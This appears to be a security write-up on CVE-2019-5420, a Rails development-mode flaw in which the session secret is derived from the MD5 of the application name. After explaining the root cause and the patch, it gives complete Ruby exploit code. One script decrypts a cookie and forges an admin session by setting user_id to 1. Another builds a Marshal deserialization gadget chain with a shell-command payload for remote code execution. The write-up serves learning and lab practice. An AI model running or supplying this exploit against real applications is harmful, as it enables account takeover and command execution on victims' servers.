Skip to main content

cve-2019-5420-ruby-on-rails-development-mode-session-forgery-rce

CVE-2019-5420: Ruby on Rails Development Mode Session Forgery/RCE

CVE-2019-5420 is a vulnerability in Ruby on Rails applications running in development (or test) mode, where the secret key used to encrypt and sign session cookies is predictable.

If an attacker can:

  • Identify the application name
  • And the app runs in development or test mode

Then they can:

  • Derive the session encryption key
  • Decrypt their own session
  • Modify sensitive fields (e.g. user_id)
  • Re-encrypt the cookie
  • Impersonate other users (including admin)

This is a session forgery vulnerability.


Root Cause

In vulnerable Rails versions, when no explicit secret_key_base is configured, Rails derives it automatically in development/test mode using:

MD5(application_name)

Vulnerable logic

if Rails.env.development? || Rails.env.test?
secrets.secret_key_base || Digest::MD5.hexdigest(self.class.name)
end

So instead of a random secret:

  • The key becomes deterministic
  • Anyone who knows the app name can compute it
Patch

Rails later replaced this with a randomly generated secret:

secrets.secret_key_base ||= generate_development_secret

Key Insight

Rails appends ::Application before hashing.

Example:

<strong># AppNameHere  →  AppNameHere::Application
</strong>MD5("AppNameHere::Application")

This derived value becomes the master secret used to protect cookies.

Devise Limitation (Important)

If the session contains something like:

"warden.user.user.key":[[1],"$2a$11$BkGB3JhRmoQ3jKbSxx.byO"]

Then:

  • The app uses Devise
  • Session integrity depends on the user’s bcrypt password hash
  • You cannot forge a session without knowing the password

So Devise reduces impact, but does not fix the underlying flaw.

High-Level Exploitation Flow

  1. Identify app name

    • Cookie name often leaks it
    • Error pages, HTML titles, JS variables, repo names
  2. Derive secret

    MD5("#{AppName}::Application")
  3. Extract cookie

    • Rails encrypted cookie (_app_session).
    • They are in format <Base64(ciphertext)>--<Base64(iv)>--<Base64(auth_tag)>
  4. Reproduce Rails crypto

  • Key derivation
  • Encryption algorithm
  • Cookie salts
  1. Decrypt session
  • Obtain session hash and decrypt using following code
require 'openssl'
require 'base64'
require 'cgi'

cookie = CGI.unescape "mVeEs26%2F67erOz5UbGuaLJp6tJIOQYwuwe5wnO4Ky1%2FUyTAcGE2z7ZUQWoeeGf9YnLqAMsuxWeeHv%2BRqI2Lnear%2BB93N%2Baq3YPKqiCzpVpjzbrnyHnhjVW%2F8dz53cPO71aEaBA%2B1xKw3M3PA1ftfpNUr0wyRPB9vG9w%3D--XSVWCx4Ocx%2FM%2B9kq--LUx%2BihDYT0jizHnbhzQ5aA%3D%3D"
application_name = "PentesterLab"

secret_key_base = Digest::MD5.hexdigest("#{application_name}::Application")
key = OpenSSL::PKCS5.pbkdf2_hmac_sha1(secret_key_base, "authenticated encrypted cookie", 1000, 32)

cipher = OpenSSL::Cipher.new("aes-256-gcm")
encrypted_data, iv, auth_tag = cookie.split("--").map { |v| ::Base64.strict_decode64(v) }

cipher.decrypt
cipher.key = key
cipher.iv = iv
cipher.auth_tag = auth_tag
cipher.auth_data = ""

decrypted_data = cipher.update(encrypted_data)
decrypted_data << cipher.final

puts decrypted_data

### ... re-encryption code ...
  1. Modify session
<strong>## ... decryption code ...
</strong>
require 'json'

data = JSON.parse(decrypted_data)
data["user_id"] = 1 ## user_id is changed to 1 to forge as admin user.
modified_data = data.to_json

enc = OpenSSL::Cipher.new("aes-256-gcm")
enc.encrypt
enc.key = key
iv = OpenSSL::Random.random_bytes(12)
enc.iv = iv
enc.auth_data = ""

encrypted_modified_data = enc.update(modified_data)
encrypted_modified_data &#x3C;&#x3C; enc.final

blob = "#{Base64.strict_encode64(encrypted_modified_data)}--#{Base64.strict_encode64(iv)}--#{Base64.strict_encode64(enc.auth_tag)}"
puts CGI.escape(blob)

  1. Send forged cookie
  • Logged in as victim

Rails Internals Involved

To write a working exploit, you need to understand:

  1. /active_support/message_encryptor.rb (message encryption)
  1. /active_support/key_generator.rb (key derivation)
  1. /railties/lib/rails/application.rb (application key generation)
  1. /action_dispatch/railtie.rb (cookie salt)
  1. /actionpack/test/dispatch/session/cookie_store_test.rb (Rails tests are often the best exploit documentation)

RCE?

Yes, we saw after decoding the cookie that JSON was used for serialization. But if Marshal was used for serialization we could achieve RCE.

info

If you are performing a code review, you can tell what serializer is used by inspecting the value of Rails.application.config.action_dispatch.cookies_serializer.

JSON (:json) is the safest option.

Code for RCE with Ruby Marshal Universal RCE
require 'openssl'
require 'base64'
require 'cgi'

cookie = CGI.unescape "o2L5aEzu9NBqBqFDOpCjKxQwi5T96kUA%2BMBOlyQdNTpVnMYab8DthsJXX0rOucPdzLce3xxkrDNJN7871TrD9hJH%2F0qoDZax3T471lZtw6y21zS9LeNOXUCxgsIaRHZ6srfkUj1Jq2YuScTKCWRK%2BrTSrH6xYZzJ0JR%2BhH7Vv2OqHUULYkWIXpux6R0Cp12zRxEffCZ1rpfs%2BqdgfOXmYwPC5piGGEAApzK9JSw5sd0SF5H89ukweeXVia59euWrdzIOOMtdt45H8M%2FgcFDqbqBeghEJ2%2BEPDEDdmNJrM1qfHbiB67v6qY%2FKPym0MJXeJX%2B4OZ6A1reS7lEWBSaOdug8rMR4SEn3RZiDyQLwmjg4ZCJFZ1mX6hCMjTQdlI%2BLvcRR2OcX5IikbkdsMA%3D%3D--Ujpj616FtTlhtF8i--kUa46uwMDCoqXEEghMnLYA%3D%3D"
application_name = "PentesterLab"

secret_key_base = Digest::MD5.hexdigest("#{application_name}::Application")
key = OpenSSL::PKCS5.pbkdf2_hmac_sha1(secret_key_base, "authenticated encrypted cookie", 1000, 32)

cipher = OpenSSL::Cipher.new("aes-256-gcm")
encrypted_data, iv, auth_tag = cookie.split("--").map { |v| ::Base64.strict_decode64(v) }

cipher.decrypt
cipher.key = key
cipher.iv = iv
cipher.auth_tag = auth_tag
cipher.auth_data = ""

decrypted_data = cipher.update(encrypted_data)
decrypted_data << cipher.final

puts decrypted_data

require 'json'

class Gem::StubSpecification
def initialize; end
end

stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2") ## << Change Payload!!!

puts "STEP n"
stub_specification.name rescue nil
puts

class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts

$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts

class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts

## puts payload

enc = OpenSSL::Cipher.new("aes-256-gcm")
enc.encrypt
enc.key = key
iv = OpenSSL::Random.random_bytes(12)
enc.iv = iv
enc.auth_data = ""

encrypted_modified_data = enc.update(payload)
encrypted_modified_data << enc.final

blob = "#{Base64.strict_encode64(encrypted_modified_data)}--#{Base64.strict_encode64(iv)}--#{Base64.strict_encode64(enc.auth_tag)}"
puts CGI.escape(blob)